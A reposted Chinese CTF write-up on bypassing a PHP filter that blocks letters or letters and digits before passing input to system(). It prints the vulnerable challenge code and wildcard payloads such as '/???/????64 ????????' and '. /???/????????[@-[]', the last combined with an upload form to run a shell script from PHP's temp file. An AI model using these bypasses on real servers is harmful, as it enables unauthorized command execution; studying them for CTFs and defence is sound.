命令執行-過濾了字母或者過濾了數字+字母的繞過方法


0x00 序言

  總結下命令執行繞過字母數字的一些小技巧。

0x01 原理

  管理員為了防止任意用戶輸入的惡意代碼導致的命令執行,在用戶輸入處加了一層waf攔截,waf可能是通過正則匹配過濾了字母,也可能是通過正則匹配過濾了字母和數字。

0x02 過濾了字母的繞過方式

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你們在炫技嗎?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}
  • 代碼審計
      過濾了字母 分號 反引號 百分號 和 %09 %26 <>
    但是可以觀察到其實沒有過濾空格。

0x02.1 使用 /bin/base64 xxx 進行繞過

  Linux的bin目錄一般保存了所有的二進制命令, 正常我們輸入的cat xxx啥的 其實也可以通過/bin/cat 打開文件,而哪種命令打開文件還能帶有數字呢? 可以嘗試使用 base64 去打開文件,將文件以base64編碼輸出

  • base32
  • base64

    雖然這樣輸入依然有字母,但是我們可以通過通配符?去繞過,而且因為有了數字,匹配的會更加准確
    如果直接使用通配符是不行的,因為這在Linux無法通過????去找到命令

    這里因為我用kali測試的

    測試過程中發現居然還有別的目錄被匹配到了,笑了

    改成32進行測試,發現也不行

    服了
    測試成功的一次是

    如果全用通配符的話 會匹配到別的東西

    如果只改回一個為字母,則能正常匹配,至少能正常匹配了,kali直接使用/bin/base32 去匹配的話可能有問題。
    應該是如果要執行命令的話一定要絕對路徑,因為指針指向的可能是絕對路徑的地址,所以這里要想使用通配符的話必須通過/usr/bin/base64去執行命令。
    這里因為測試的時候發現/bin/x11/base32 可用所以直接

    但是這是kali。
    題目的正常解法可以直接 /bin/base64 flag.php => /???/????64 ????????
    可能是因為題目服務器配置比較干凈吧
    了解原理就行了。

0x02.2 使用 /usr/bin/bzip2 去壓縮文件夾

可以發現我的Kali東西比較多。。。

發現又是x11

不折騰了
常規操作,如果是比較干凈的linux系統直接 /???/???/???2 ????????
最后????????是 flag.php
壓縮后 直接 訪問 對應的url即可比如 訪問 https:/xx/flag.php.bz2 可用直接下載

0x02.3 使用.去執行sh文件

非常妙的思路,linux中.相當於source,可以直接執行sh文件


不管有無文件后綴名,都是根據命令來選擇打開文件的方式。

而且因為php文件在上傳時 會在服務端/tmp目錄下生成php?????? 隨機六個字母
所以可以通過 ?c=. /???/????????[@-[] 去進行匹配
[@-[]也是一種通配符,匹配方式是匹配@~[的范圍,查ascii表可知道 正好是大寫字母
然后我們生成一個提交表單

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST數據包POC</title>
</head>
<body>
<form action="{.url}" method="post" enctype="multipart/form-data">
<!--鏈接是當前打開的題目鏈接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

向指定url進行php文件提交 同時?c=. /???/????????[@-[]
在php文件里寫入

#!/bin/bash

ls

多次提交,可實現任意命令執行。

繞過了字母和數字的過濾方式

  • 使用.去執行sh文件


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM